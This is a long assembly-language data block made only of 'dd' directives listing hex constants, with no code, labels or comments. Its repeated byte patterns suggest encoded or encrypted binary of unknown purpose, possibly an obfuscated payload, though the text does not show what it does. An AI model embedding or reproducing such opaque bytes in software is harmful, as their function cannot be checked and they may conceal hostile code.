dd 0B247F185h, 0F96A6BFAh, 0F12D79BDh, 4E857607h, 8A0F85E5h
dd 85860F85h, 0F85820Fh, 0A324928Eh, 0BEF98585h, 8E3FF366h
dd 6BFA9ADBh, 7992F96Ah, 6EDBB97Bh, 0F96A6BFBh, 0B94375BAh
dd 0C5757608h, 6BFABE7Fh, 70BAF96Ah, 7F1B953h, 0AE4FF192h
dd 0F96A6BFAh, 8D7B7E94h, 1EC7CE85h, 0F1858585h, 6BFB7A47h
dd 78BDF96Ah, 7607F12Dh, 85E54E85h, 0F85860Fh, 8E0F8582h
dd 928A0F85h, 8585A37Ah, 0F366BEF9h, 0C5758A3Fh, 6BF83E7Fh
dd 6FC5756Ah, 6A6BFB7Eh, 92F9AA7Bh, 0DBB97B7Eh, 6A6BFA9Eh
dd 4371BAF9h, 0DB6A08B9h, 6A6BF846h, 7975BAF9h, 6BFB4A7Fh
dd 0F1B9536Ah, 4FF19207h, 6A6BFBCEh, 7B7894F9h, 0C7CE858Dh
dd 8585851Eh, 0FB9A47F1h, 0BDF96A6Bh, 7F12D76h, 0E54E8576h
dd 85820F85h, 0F858E0Fh, 860F858Ah, 85A2E992h, 66BEF985h
dd 0DB863FF3h, 6A6BFBBAh, 7B78BAF9h, 7FC575B9h, 6A6BFB3Eh
dd 4376BAF9h, 0DB7008B9h, 6A6BFBB2h, 5372BAF9h, 9207F1B9h
dd 0FB8E4FF1h, 0C5756A6Bh, 6BF8726Fh, 0F9AC7B6Ah, 8D7B7D94h
dd 1EC7CE85h, 0F1858585h, 6BFB2247h, 68BDF96Ah, 0FB4E4779h
dd 0F12D6A6Bh, 4E857607h, 8E0F85E5h, 858A0F85h, 0F85860Fh
dd 0A25C9282h, 0BEF98585h, 823FF366h, 6BF84ADBh, 78BAF96Ah
dd 9ADBB97Bh, 0F96A6BFBh, 7F7971BAh, 6A6BFAB2h, 7608B943h
dd 0EA7FC575h, 0F96A6BFBh, 0B95372BAh, 6BFB0ADBh, 923F7B6Ah
dd 427FC575h, 0F96A6BFBh, 3F4373BAh, 2EFC7592h, 0F1858584h
dd 6BFADE67h, 7D91F96Ah, 6BFA9EDBh, 3A7F796Ah, 0F96A6BFBh
dd 3FF37C92h, 7BBD939Eh, 7F17A7Ah, 0C7CE859Eh, 8585855Eh
dd 0F83247F1h, 0BDF96A6Bh, 7F12D78h, 0E54E8576h, 858A0F85h
dd 0F85860Fh, 8E0F8582h, 85C70E92h, 66BEF985h, 0DB8E3FF3h
dd 6A6BFBBAh, 797CBAF9h, 6BF8427Fh, 0DBB97B6Ah, 6A6BFBB2h
dd 4372BAF9h, 0DB7008B9h, 6A6BFAA2h, 5370BAF9h, 9E07F1B9h
dd 7E4FC575h, 796A6BFBh, 6BFB6A4Fh, 7294F96Ah, 0CE858D7Bh
dd 85855EC7h, 0FE47F185h
dd 756A6BFBh, 0FBDE4FC5h, 8D7B6A6Bh, 7607F12Dh, 85E54E85h
dd 0F85860Fh, 8E0F8582h, 928A0F85h, 8585C77Fh, 0F366BEF9h
dd 36DB8A3Fh, 0F96A6BFBh, 7F797EBAh, 6A6BF85Eh, 0C575B97Bh
dd 6BFBEE7Fh, 0B26FF16Ah, 0F76A6BFBh, 437D6A3Eh, 756908B9h
dd 0FB1E7FC5h, 6FF16A6Bh, 6A6BFB02h, 7C6A3EF7h, 7F1B953h
dd 0A24FF19Eh, 0F96A6BFAh, 8D7B7E94h, 5EC7CE85h, 0F1858585h
dd 6BFBA247h, 7CBDF96Ah, 0FA9E4779h, 0F12D6A6Bh, 4E857607h
dd 820F85E5h, 858E0F85h, 0F858A0Fh, 0C6F19286h, 0BEF98585h
dd 863FF366h, 6BF86EDBh, 7EBAF96Ah, 0BADBB97Bh, 0F96A6BFBh
dd 0B94375BAh, 9EDB6908h, 0F96A6BFAh, 0C5757FBAh, 6BFABE6Fh
dd 53AA7B6Ah, 9E07F1B9h, 0BE4FC575h, 0F96A6BFAh, 8D7B7994h
dd 5EC7CE85h, 0F1858585h, 6BFB6647h, 6BBDF96Ah, 0FB124779h
dd 0F12D6A6Bh, 4E857607h, 8E0F85E5h, 858A0F85h, 0F85860Fh
dd 0C6659282h, 0BEF98585h, 823FF366h, 327FC575h, 756A6BFBh
dd 0FAD26FC5h, 3EF76A6Bh, 0B97B7C6Ah, 6BFBBADBh, 75BAF96Ah
dd 0FBFA7F79h, 0B9436A6Bh, 66DB6908h, 0F96A6BF8h, 0C57573BAh
dd 6BFB426Fh, 53AA7B6Ah, 0FB26DBB9h, 3F7B6A6Bh, 0FB2EDB9Eh
dd 0BAF96A6Bh, 9E3F437Eh, 8452FC75h, 7F18585h, 824FF172h
dd 796A6BFBh, 6BFBDA4Fh, 7625F16Ah, 0F38A2779h, 759ACD26h
dd 0FAEE4FC5h, 4F796A6Bh, 6A6BFB4Ah, 277965F1h, 0CD26F38Eh
dd 4FC5758Eh, 6A6BF83Ah, 0F87A4F79h, 25F16A6Bh, 86277972h
dd 0AECD26F3h, 0FBF64FF1h, 25F16A6Bh, 8227797Eh, 25CD66F3h
dd 0B9B32124h, 129FF32Fh, 6A6B116Eh, 53826F85h, 6EDB6A7Fh
dd 276A6B11h, 2F7A7EB8h, 96FB9FF3h, 7A7A7962h, 0F12D2C29h
dd 27F1720Fh, 3A47F176h, 356A6BFBh, 7A785193h, 0F780127Ah
dd 0CF926A6Bh, 2D8585C8h, 87EFF72Ah, 28858586h, 23526F85h
dd 0F2DB6A77h, 7F6A6BFBh, 7A7A7A80h, 0FBF67F79h, 0FFF36A6Bh
dd 85858786h, 6BF79212h, 0C8FC926Ah, 0EFF78585h, 85858696h
dd 86EFF728h, 28858587h, 857BEFF7h, 2A288585h, 8687EFF7h
dd 12288585h, 0FA7A7A7Bh, 7A68FA92h, 56BEF97Ah, 868AFFF3h
dd 0BAFF8585h, 7BC3FE75h, 0FFF77A7Ah, 85858478h, 79FFF72Ah
dd 2A858585h, 85B93892h, 0FA9ADB85h, 7F796A6Bh, 6A6BF87Ah
dd 2A7092F9h, 8478FFF7h, 292A8585h, 859F3092h, 6EBEF985h
dd 0FB166FF1h, 0B8FB6A6Bh, 7A7A8580h, 0FE75AA43h, 7A7A7B09h
dd 6BF7F012h, 0CB84926Ah, 2A238585h, 857BEFF7h, 92288585h
dd 7A7A26B7h, 6BFBFEDBh, 1A7F796Ah, 0F96A6BFBh, 0FFF37192h
dd 8585868Eh, 6BFB8EDBh, 7392F96Ah, 8682FFF3h, 4F918585h
dd 8682FFF1h, 0C6FA8585h, 85857B7Fh, 650F5985h, 8682FFF1h
dd 6FF18585h, 6A6BFB6Ah, 0E677C575h, 7B6A6BFAh, 7590F9B0h
dd 7B7FEEF2h, 85858585h, 858682FFh, 82C7FB85h, 85858586h
dd 87A7A7Ah, 0FA92DBC5h, 817F6A6Bh, 797A7A7Ah, 6BFAA67Fh
dd 86FFF36Ah, 0F7858587h, 858696FFh, 0FFF72A85h, 85858786h
dd 78FFF72Ah, 2A858584h, 868EFFF1h, 0FEF78585h, 85857B7Fh
dd 0FFF72A85h, 85858687h, 7A7B122Ah, 1892FA7Ah, 0F97A7A6Bh
dd 0FFF362BEh, 8585868Ah, 5A0FBAFFh, 927FC575h, 756A6BFBh
dd 0FBEA6FC5h, 0AA7B6A6Bh, 0FB4E6FF1h, 90F96A6Bh, 7FEEF278h
dd 85858789h, 868EFFF1h, 0FFF38585h, 85858692h, 7B7FF6F7h
dd 0F9858585h, 0FA3A85B2h, 0F7A7B46h, 92F7F183h, 7B858586h
dd 8EF7F3BBh, 0F7858586h, 858478FFh, 852C2A85h, 7A8A566Fh
dd 72BEF96Ah, 6BF7FF12h, 0CAB4926Ah, 0BEF98585h, 852C2A7Eh
dd 7A8A566Fh, 72BEF96Ah, 868EFF85h, 0FFF18585h, 8585868Eh
dd 7FFECC75h, 8585857Bh, 0FB226FF1h, 6F796A6Bh, 6A6BFBC6h
dd 437390F9h, 70FF75AAh, 3D858585h, 6BFB6ADBh, 6FBAF96Ah
dd 0F875BD43h, 858587BFh, 0B3212425h, 9FF32FB9h, 727FC575h
dd 326A6BF8h, 116E7F43h, 710C6A6Bh, 6B116E12h, 6E6F856Ah
dd 0DB6A7A8Ah, 6A6B116Eh, 7A7EB827h, 36F12C29h, 4FF1765Eh
dd 6A6BF86Eh, 0FAA267F1h, 0B9FB6A6Bh, 95B7D1F8h, 0B66FC575h
dd 7B6A6BFAh, 0CB26F3A9h, 4FC57582h, 6A6BFB42h, 0FB1A67F1h
dd 0B9FB6A6Bh, 6A482E15h, 75CB66F3h, 0FBBE4FC5h, 4F796A6Bh
dd 6A6BFB7Ah, 0FB2A67F1h, 0B9FB6A6Bh, 0E2C0A68Eh, 0FBC66779h
dd 26F36A6Bh, 4FF1BECBh, 6A6BFB6Ah, 3267C575h, 0FB6A6BFBh
dd 3F597AB9h, 0CB26F31Dh, 0B92124A6h, 0F700122Dh, 0AF926A6Bh
dd 238585D5h, 0E26F852Ah, 0D96A7B5Fh, 6A6BF816h, 6BFB76DBh
dd 6FC5756Ah, 6A6BFB52h, 92F9AA7Bh, 167F437Dh, 0F6A6BF8h
dd 0F715126Dh, 0DF926A6Bh, 238585D5h, 626F852Ah, 0D96A7F48h
dd 6A6BF816h, 527FC575h, 0F96A6BFBh, 7F437F92h, 6A6BF816h
dd 2312670Eh, 926A6BF7h, 8585D506h, 4F852A23h, 6A6BF816h
dd 5BD66F85h, 0CED96A7Bh, 256A7B5Fh, 9FF32FB9h, 2D2C292Bh
dd 0F37627F1h, 7E95BBA5h, 77F182F3h, 6A6BFB0Eh, 8D73BBF9h
dd 863FF39Bh, 0BC53A4F3h, 7E67C575h, 396A6BFBh, 0A4F38BF3h
dd 27F19CA9h, 66CD7572h, 5BA5F301h, 0F8D438Dh, 7FC5756Eh
dd 6A6BFB3Eh, 4779BDF3h, 6A6BFAE2h, 917695F9h, 7FC57568h
dd 6A6BFA82h, 4779BDF3h, 6A6BFB3Ah, 0F37C95F9h, 21242582h
dd 0F32FB9B3h, 6A96F99Fh, 0F72D2C29h, 852A863Fh, 0B592720Fh
dd 0F97A7A41h, 0BCF372BEh, 0EE7FC575h, 326A6BFBh, 7D0FBC43h
dd 0D393BA4Bh, 0DB7A7A7Ah, 6A6BFBDAh, 4779BDF3h, 6A6BFB9Ah
dd 0F17295F9h, 0BBF3763Fh, 3A85B2F9h, 7A7B46FAh, 3FF3830Fh
dd 4476F782h, 3A85B2F9h, 7A7B46FAh, 0B9F3830Fh, 416A2751h
dd 350F8227h, 7B8A3FBDh, 757A7A7Ah, 0FB527FC5h, 92F96A6Bh
dd 8E3FF37Fh, 3FF15891h, 7B80F38Eh, 6A2F79B8h, 6C6ECC75h
dd 757637F1h, 437B7EC4h, 0F97C0EB8h, 917A8A1Fh, 8E3F8572h
dd 88E2743h, 8A07F9A3h, 2C760E7Ah, 5FB66F85h, 0BA4B6A7Bh
dd 795B913Ah, 42DB6A07h, 3A6A6BF8h, 0F8767F79h, 0BD7B6A6Bh
dd 741A57Bh, 2CF80886h, 5FB66F85h, 0BA4B6A7Bh, 0B3212425h
dd 9FF32FB9h, 2C7696F9h, 760FF12Dh, 4B723FF1h, 0F18C8DA8h
dd 6BFBD647h, 7895F96Ah, 7F0F8043h, 91723FF1h, 723FF160h
dd 8C8DA84Bh, 0F3823FF3h, 0F39C8DBDh, 0BDF38E3Fh, 7F38D7Bh
dd 2582F386h, 2FB9B324h, 96FB9FF3h, 7A7A784Ah, 0F12D2C29h
dd 27F1720Fh, 47A2F376h, 7A7A7B7Ah, 0F6756C0Eh, 7A7A7FB1h
dd 7A7B6B47h, 0DAFE757Ah, 937A7A7Ah, 7A7A7FC1h, 736A07F9h
dd 7FCBFF75h, 0C5757A7Ah, 6BF83A47h, 7295F96Ah, 4AC21191h
dd 8D7A7A7Ah, 82FFF39Dh, 43858587h, 4F1E7F4Eh, 650F6A73h
dd 7A7A4AC2h, 0F39D8D7Ah, 85878EFFh, 7F4E8585h, 6A734F12h
dd 53866F85h, 0A936A7Fh, 0C27A7A7Fh, 7A7A7A4Ah, 0FFF39D8Dh
dd 8585878Eh, 1A7F4E43h, 0F6A734Fh, 7A4AC265h, 9D8D7A7Ah
dd 878AFFF3h, 4E858585h, 734F1E7Fh, 866F856Ah, 936A7F53h
dd 7A7A7F41h, 7FC5753Dh, 6A6BF86Ah, 0FBC66FF1h, 3EF76A6Bh
dd 0BD43236Ah, 5A93FA08h, 757A7A7Fh, 0FB527FC5h, 0BDF36A6Bh
dd 0FB0E4779h, 95F96A6Bh, 0C2609176h, 7A7A7A4Ah, 0FFF39D8Dh
dd 85858782h, 167F7EF1h, 436A734Fh, 690E6E3Fh, 0FB3ADB3Dh
dd 0BAF96A6Bh, 0FA7F7919h, 436A6BFBh, 0DBAE08BDh, 6A6BFBCAh
dd 4327BAF9h, 0AAFE75BDh, 127A7A7Eh, 7A7A7A85h, 8487FFF7h
dd 0C22A8585h, 7A7A7A4Ah
dd 0FFF39D8Dh, 8585878Eh, 227F4E85h, 856A734Fh, 6B15426Fh
dd 7FC5756Ah, 6A6BFBDEh, 8C7FFEBCh, 31858587h, 467FC575h
dd 0F16A6BFBh, 6BFBA26Fh, 7E90F96Ah, 8F7FEEF2h, 75858587h
dd 0FBD27FC5h, 7F796A6Bh, 6A6BFA92h, 867FFEBCh, 6858587h
dd 8487FFF7h, 0F72A8585h, 858786FFh, 6F852A85h, 6A7A8A56h
dd 1272BEF9h, 7A7A7A85h, 8487FFF7h, 0C22A8585h, 7A7A7A4Ah
dd 0FFF39D8Dh, 8585878Ah, 1A7F4E85h, 856A734Fh, 6B15426Fh
dd 0F876DB6Ah, 0C5756A6Bh, 6BFBEE6Fh, 75AA7B6Ah, 827FFEC4h
dd 0F1858584h, 6BFBB26Fh, 666F796Ah, 0F96A6BFBh, 0AA437090h
dd 4C12260Fh, 926A6BF7h, 8585D18Ah, 6FC57523h, 6A6BFB42h
dd 287990F9h, 0FB8E6FF1h, 6F796A6Bh, 6A6BFAD6h, 286A90F9h
dd 3A6FF12Ah, 796A6BFBh, 6BFAC26Fh, 7F90F96Ah, 426F8528h
dd 0C26A7723h, 7A7A7A4Ah, 0FFF39D8Dh, 85858796h, 1A7F4E85h
dd 856A734Fh, 7F53866Fh, 79D7936Ah, 4B127A7Ah, 926A6BF7h
dd 8585D1EEh, 86EFF72Ah, 28858587h, 8A566F85h, 0FFF76A7Ah
dd 85858487h, 86FFF72Ah, 2A858587h, 8A566F85h, 0BEF96A7Ah
dd 7A85126Eh, 0FFF77A7Ah, 85858487h, 7A4AC22Ah, 9D8D7A7Ah
dd 8796FFF3h, 4E858585h, 734F1E7Fh, 426F856Ah, 0DB6A6B15h
dd 6A6BFAD6h, 7FFEC475h, 8585848Ch, 0FAE26FF1h, 6F796A6Bh
dd 6A6BFABAh, 437190F9h, 12200FAAh, 6A6BF775h, 85D16592h
dd 6FF12385h, 6A6BFB3Ah, 0FAB26F79h, 90F96A6Bh, 6FF12878h
dd 6A6BFB82h, 0FB166F79h, 90F96A6Bh, 752A2872h, 0FB326FC5h
dd 28306A6Bh, 23426F85h, 4AC26A77h, 8D7A7A7Ah, 92FFF39Dh
dd 85858587h, 4F1E7F4Eh, 6F856A73h, 6A7F5386h, 7A78A493h
dd 0F770127Ah, 0BF926A6Bh, 2A8585D0h, 8786EFF7h, 85288585h
dd 7A8A566Fh, 87FFF76Ah, 2A858584h, 8786FFF7h, 852A8585h
dd 7A8A566Fh, 6EBEF96Ah, 7A7A8512h, 87FFF77Ah, 2A858584h
dd 7A7A4AC2h, 0F39D8D7Ah, 858792FFh, 7F4E8585h, 6A734F12h
dd 15426F85h, 2EDB6A6Bh, 756A6BFBh, 8F7FFEC4h, 75858584h
dd 0F86A6FC5h, 6F796A6Bh, 6A6BF846h, 437F90F9h, 53FE75AAh
dd 0F77A7A7Bh, 858487F7h, 85B2F985h, 7B46FA3Ah, 0F3830F7Ah
dd 5677F1B8h, 756A6BF8h, 0F8727FC5h, 0BB7B6A6Bh, 437E93F9h
dd 87F875B0h, 0DB7A7A7Ah, 6A6BF856h, 0F27D92F9h, 858481FFh
dd 75589185h, 8481FFCCh, 0FEF08585h, 8584877Fh, 64A4685h
dd 443467Eh, 7AA8937Fh, 0FFFA7A7Ah, 85858481h, 87F7F77Bh
dd 0F9858584h, 0FA3A85B2h, 0F7A7B46h, 0F7CC7583h, 85858481h
dd 0B908BB43h, 6BFB9ADBh, 767F796Ah, 0F96A6BF8h, 0FFF27292h
dd 85858486h, 0FFF00C91h, 85858486h, 879DFFF2h, 53918585h
dd 9DFFCC75h, 75858587h, 877FFEC4h, 75858584h, 8486EFCCh
dd 0C4758585h, 84876FEEh, 0AA438585h, 0FFFA580Fh, 8585879Dh
dd 87F7F77Bh, 0F9858584h, 0FA3A85B2h, 0F7A7B46h, 0F7CC7583h
dd 8585879Dh, 0C608BB43h, 9DFFCC75h, 75858587h, 8486EFCCh
dd 0AA538585h, 0FAC66FF1h, 0B8F96A6Bh, 5AA4379h, 86FFFA51h
dd 7B858584h, 8487F7F7h, 0B2F98585h, 46FA3A85h, 830F7A7Bh
dd 86F7CC75h, 43858584h, 11F875BBh, 93858585h, 7A7A7AE6h
dd 6BFB0ADBh, 7DB67F6Ah, 852A7A7Ah, 77235E6Fh, 0F6AB126Ah
dd 6B926A6Bh, 0F38585D3h, 85879EFFh, 0F6C01285h, 7B926A6Bh
dd 0F18585D3h, 6BFB726Fh, 7290F96Ah, 0EFF12A28h, 8585879Eh
dd 566FF128h, 796A6BF8h, 6BFA966Fh, 7290F96Ah, 426F8528h
dd 126A7723h, 6A6BF6CCh, 85D2B592h, 6ABEF985h, 7A4AC22Ah
dd 9D8D7A7Ah, 879AFFF3h, 0B8F38585h, 126F4E85h, 856A734Fh
dd 6B232E6Fh, 7A4AC26Ah, 9D8D7A7Ah, 87A6FFF3h, 4E858585h
dd 734F127Fh, 866F856Ah, 936A7F53h, 7A7A7AE5h, 6BF6CB12h
dd 0D2FC926Ah, 0F72A8585h, 858786EFh, 6F852885h, 6A7A8A56h
dd 8487FFF7h, 0F72A8585h, 858786FFh, 6F852A85h, 6A7A8A56h
dd 7A7A4AC2h, 0F39D8D7Ah, 8587A2FFh, 7F4E8585h, 6A734F22h
dd 4B926F85h, 0FFF76A7Fh, 85858786h, 6E6F852Ah, 0F96A7B7Ah
dd 7F1062BEh, 7A7A4AC2h, 0F39D8D7Ah, 8587AEFFh, 7F4E8585h
dd 6A734F2Eh, 23226F85h, 4AC26A6Bh, 8D7A7A7Ah, 0AAFFF39Dh
dd 75858587h, 0FBE27FC5h, 0C5756A6Bh, 6BFBB66Fh, 0F9AA7B6Ah
dd 0EFF17092h, 858587AAh, 2A6F7EF3h, 0F16A734Fh, 6BFBA647h
dd 7AAD936Ah, 4AC27A7Ah, 8D7A7A7Ah, 823FF39Dh, 267F4E41h
dd 0F6A734Fh, 6E0F855Eh, 296A0F85h, 7A4AC22Ch, 9D8D7A7Ah
dd 858E3FF3h, 4F067F4Eh, 6F856A73h, 6A732282h, 7A7AC393h
dd 7A4AC27Ah, 9D8D7A7Ah, 418A3FF3h, 4F127F4Eh, 5E0F6A73h
dd 856E0F85h, 2C296A0Fh, 7A7A4AC2h, 0F39D8D7Ah, 4E85963Fh
dd 734F027Fh, 826F856Ah, 936A7322h, 7A7A7AF8h, 7A7A4AC2h
dd 0F39D8D7Ah, 4E41923Fh, 734F1A7Fh, 855B0F6Ah, 0F856E0Fh
dd 0C22C296Ah, 7A7A7A4Ah, 3FF39D8Dh, 7F4E859Eh, 6A734F0Ah
dd 22826F85h, 34916A73h, 7A7A4AC2h, 0F39D8D7Ah, 4E419A3Fh
dd 734F1E7Fh, 855B0F6Ah, 0F856E0Fh, 0C22C296Ah, 7A7A7A4Ah
dd 3FF39D8Dh, 7F4E85A6h, 6A734F0Eh, 22826F85h, 60916A73h
dd 0FA92DB3Dh, 0BAF96A6Bh, 6FC57524h, 6A6BFACEh, 0BD43AA7Bh
dd 856AF875h, 24258585h, 6AB8B321h, 9FF32F7Ah, 7B7E96FBh
dd 2D2C7A7Ah, 757607F1h, 0FAAA7FC5h, 0C5756A6Bh, 6BFB326Fh
dd 0F9AA7B6Ah, 46FA7D92h, 3F0E547Dh, 0F7720F85h, 858486FFh
dd 6F852A85h, 6A7B5BDEh, 6BF6D612h, 0DCD4926Ah, 0F72A8585h
dd 858486CFh, 6F852C85h, 6A7A8A56h, 86FFF72Dh, 2A858584h
dd 8A566F85h, 0FFF76A7Ah, 85858486h, 4616922Ah, 0BEF97A7Ah
dd 0B324255Ah, 0F12C29B9h, 0F1765E26h, 0F16A5E0Eh, 6BF86E77h
dd 67BBF96Ah, 6BF866DBh, 6FC5756Ah, 6A6BFB8Ah, 92F9AA7Bh
dd 91BB5373h, 6EF11C64h, 6E411C31h, 4B7E0934h, 1C6791BAh
dd 1C316EF1h, 0C346E41h, 3ABA4B7Fh, 0DB337491h, 6A6BF85Eh
dd 7BB4332h, 3ABA4BA2h, 2FB92124h, 2C299FF3h, 6A0FF12Dh
dd 4B6E27F1h, 0F15B9185h, 539AC76Eh, 6FF36A7Bh, 6A7A8A72h
dd 7A1E6012h, 852C296Ah, 0F85760Fh, 726F8572h, 3D6A7A8Ah
dd 0F8DE4741h, 0AD086A6Bh, 27212425h, 9FF32FB9h, 293696F9h
dd 6F852D2Ch, 6A6B200Ah, 0F1863FF3h, 4FF17227h, 6A6BFAC2h
dd 917E94F9h, 966FF136h, 0F96A6BFBh, 6E437990h, 7B6A9ACFh
dd 0F1430E6Ah, 332ACF6Eh, 77F16A73h, 6A6BFAA2h, 9020BBFBh
dd 0DADB7A7Ah, 796A6BFAh, 6BFB227Fh, 0D575326Ah, 41B07BB2h
dd 6A09862Fh, 0FBCA6FF1h, 90F96A6Bh, 0CF6EF37Dh, 6A7B6A9Ah
dd 0FBAADB3Ch, 9A7F6A6Bh, 797A7A79h, 6BFA967Fh, 8BC436Ah
dd 0F379F1DAh, 66F78A3Fh, 51A2F379h, 3F41723Fh, 0BCF97576h
dd 757A7A7Bh, 0FB1E7FC5h, 0BAF96A6Bh, 8A3F4379h, 0A2F3A10Dh
dd 0F1723F51h, 6BFB226Fh, 5E6F796Ah, 306A6BFBh, 3FF3AA53h
dd 0F9A3F382h, 0FA3A85B2h, 0F7A7B46h, 8E3FF383h, 6BF832DBh
dd 79BDF36Ah, 6BFAD647h, 7195F96Ah, 6FF14F91h, 6A6BFB96h
dd 0FADE6F79h, 90F96A6Bh, 0C76E4370h, 6A7B6A9Ah, 2FF1660Eh
dd 0C76E4382h, 6A7B7A5Ah, 6EF06A0Fh, 7B5BCA47h, 622F406Ah
dd 7B4AFE75h, 0DB3D7A7Ah, 6A6BF876h, 7A799E7Fh, 8BD437Ah
dd 0FBF2DBC7h, 0C17F6A6Bh, 437A7A79h, 0FC758E3Fh, 7A7A7AC2h
dd 6BFB5ADBh, 7F793A6Ah
dd 6A6BFBC6h, 0CF3FF72Ah, 0BDDE922Ah, 0BEF98585h, 0FBC6DB72h
dd 0C87F6A6Bh, 757A7A79h, 0FBBE6FC5h, 0AA7B6A6Bh, 0DB963FF3h
dd 6A6BF856h, 0F37D92F9h, 3FF1923Fh, 797EF096h, 0F19D3FF2h
dd 0C575963Fh, 6BFBBE6Fh, 8E6F796Ah, 0F96A6BFBh, 6EF26B90h
dd 759A1279h, 0F856A7Bh, 920F858Eh, 2ACF3FF7h, 856E3FF1h
dd 720F854Ah, 6A0F8529h, 727FC575h, 326A6BF8h, 7A7A855Fh
dd 0C6922A7Ah, 0F97A7A7Eh, 3FF15EBEh, 923FF396h, 0F29D2FF0h
dd 4ADB796Eh, 7F6A6BF8h, 7A7A79C5h, 0F1963F7Bh, 3F438E3Fh
dd 0F3790C96h, 3FF1963Fh, 923F438Eh, 0F8912909h, 6BF6DD12h
dd 0D98C926Ah, 9A128585h, 856A7B75h, 0C5758E0Fh, 6BFBDE6Fh
dd 77C5756Ah, 6A6BFBE2h, 90F9B07Bh, 0F12A287Dh, 48856E2Fh
dd 29720F85h, 0F16A0F85h, 6BFADA6Fh, 6E6F796Ah, 0F96A6BFBh
dd 98FB7E90h, 7A7A7A85h, 7E479228h, 0BEF97A7Ah, 6E3FF152h
dd 3FF17A85h, 7966F78Eh, 6E3FF139h, 0F8526FF1h, 0B8F96A6Bh
dd 756A4376h, 85845EFCh, 0F6D91285h, 0FF926A6Bh, 128585D9h
dd 6A7B759Ah, 0FBA26FF1h, 0C5756A6Bh, 6BFAAA77h, 0F9B07B6Ah
dd 75287090h, 0FB466FC5h, 90F96A6Bh, 282A2873h, 0DE6FC575h
dd 0F96A6BFBh, 75287C90h, 0FB626FC5h, 90F96A6Bh, 0F852872h
dd 9A6FF16Ah, 796A6BFBh, 6BFB9E6Fh, 7D90F96Ah, 7A8598FBh
dd 92287A7Ah, 7A7A79CDh, 2552BEF9h, 0B9B32124h, 0F6EC122Dh
dd 63926A6Bh, 238585D9h, 0E26F852Ah, 0D96A7B5Fh, 6A6BF81Eh
dd 6BFBC2DBh, 7E7F796Ah, 0F96A6BF8h, 7F437C92h, 6A6BF81Eh
dd 0F3126D0Fh, 926A6BF6h, 8585D896h, 6F852A23h, 6A7F4862h
dd 6BF81ED9h, 0F60D126Ah, 0AF926A6Bh, 2A8585D8h, 0F81E4F85h
dd 6F856A6Bh, 6A7B5BD6h, 7B5AF6D9h, 0F61D126Ah, 0C3926A6Bh
dd 2A8585D8h, 0F81E4F85h, 6F856A6Bh, 6A7B5BD6h, 7B5AFED9h
dd 0F62E126Ah, 0E7926A6Bh, 2A8585D8h, 0F81E4F85h, 6F856A6Bh
dd 6A7B5BD6h, 6B0A32D9h, 0F63A126Ah, 0FB926A6Bh, 2A8585D8h
dd 0F81E4F85h, 6F856A6Bh, 6A7B5BD6h, 7B5FAED9h, 0F64B126Ah
dd 1F926A6Bh, 2A8585D8h, 0F81E4F85h, 6F856A6Bh, 6A7B5BD6h
dd 772346D9h, 0F65A126Ah, 33926A6Bh, 0F98585D8h, 852A62BEh
dd 6BF81E4Fh, 0D66F856Ah, 0D96A7B5Bh, 6A7F4B96h, 122DB925h
dd 6A6BF668h, 85D85D92h, 852A2385h, 7B5FE26Fh, 0F826D96Ah
dd 0C5756A6Bh, 6BFBBE7Fh, 7292F96Ah, 0F8267F43h, 6D0F6A6Bh
dd 6BF67E12h, 0DB84926Ah, 2A238585h, 48626F85h, 26D96A7Fh
dd 126A6BF8h, 6A6BF188h, 85DB9D92h, 8E922A85h, 0D97A7A4Ah
dd 6A7B5FB2h, 6BF19A12h, 0DBA8926Ah, 922A8585h, 7A7A4AA5h
dd 73236ED9h, 0F1B3126Ah, 0C7926A6Bh, 2A8585DBh, 7A4AB092h
dd 5FDED97Ah, 0CC126A7Bh, 926A6BF1h, 8585DBD2h, 4ACF922Ah
dd 46D97A7Ah, 126A7333h, 6A6BF1DFh, 85DBE992h, 0DA922A85h
dd 0D97A7A4Ah, 6A77234Ah, 6BF1ED12h, 0DB04926Ah, 922A8585h
dd 7A7A4AF1h, 6B2322D9h, 0F1FF126Ah, 13926A6Bh, 2A8585DBh
dd 7A4A0C92h, 5AEAD97Ah, 3126A7Bh, 926A6BF1h, 8585DB2Eh
dd 4A1B922Ah, 86D97A7Ah, 126A7F53h, 6A6BF117h, 85DB4592h
dd 36922A85h, 0D97A7A4Ah, 6A73228Eh, 6BF12312h, 0DB50926Ah
dd 922A8585h, 7A7A4A4Dh, 6B217AD9h, 0F133126Ah, 6F926A6Bh
dd 2A8585DBh, 7A4A5892h, 8A62D97Ah, 4D126A7Ah, 926A6BF1h
dd 8585DB7Ah, 4A77922Ah, 0D6D97A7Ah, 126A7B5Fh, 6A6BF15Ch
dd 85DA9192h, 82922A85h, 0D97A7A55h, 6A7B75AAh, 6BF16E12h
dd 0DAAC926Ah, 922A8585h, 7A7A5599h, 6B1542D9h, 0F17B126Ah
dd 0BB926A6Bh, 2A8585DAh, 7A55B492h, 2282D97Ah, 8A126A73h
dd 926A6BF0h, 8585DAD6h, 55C3922Ah, 2AD97A7Ah, 126A6B23h
dd 6A6BF099h, 85DAED92h, 0DE922A85h, 0D97A7A55h, 6A7A8A7Eh
dd 6BF0AE12h, 0DAF8926Ah, 922A8585h, 7A7A55F5h, 734F32D9h
dd 0F0BA126Ah, 17926A6Bh, 2A8585DAh, 7A550092h, 7A62D97Ah
dd 0C8126A7Bh, 926A6BF0h, 8585DA22h, 551F922Ah, 7AD97A7Ah
dd 126A7B7Ah, 6A6BF0E6h, 85DA3992h, 2A922A85h, 0D97A7A55h
dd 6A7B7A6Ah, 6BF0F012h, 0DA54926Ah, 922A8585h, 7A7A5541h
dd 6B232ED9h, 0F003126Ah, 63926A6Bh, 2A8585DAh, 7A555C92h
dd 4B92D97Ah, 10126A7Fh, 926A6BF0h, 8585DA7Eh, 556B922Ah
dd 0BEFB7A7Ah, 7A7A7ABAh, 772342D9h, 10B9256Ah, 68DF9278h
dd 7A107A7Ah, 7A68E492h, 72BEF97Ah, 9FF32FB9h, 3FF72D2Bh
dd 63122A86h, 757A787Ah, 0FAB67FC5h, 2A326A6Bh, 85760F85h
dd 6F85720Fh, 6A7B5FE6h, 8573BDF3h, 0BA4B7E0Eh, 0F854091h
dd 6E0F8562h, 0DB660F85h, 6A6BFA9Eh, 0FBCA7F79h, 92F96A6Bh
dd 0F852A76h, 860F856Ah, 8A366F85h, 0BDF36A7Ah, 85860F85h
dd 73237E6Fh, 0E85736Ah, 91BA4B7Eh, 3ABA4B79h, 2FB9B325h
dd 42C29FF3h, 927A788Ah, 7A7A305Fh, 752D2C29h, 0FB1E47C5h
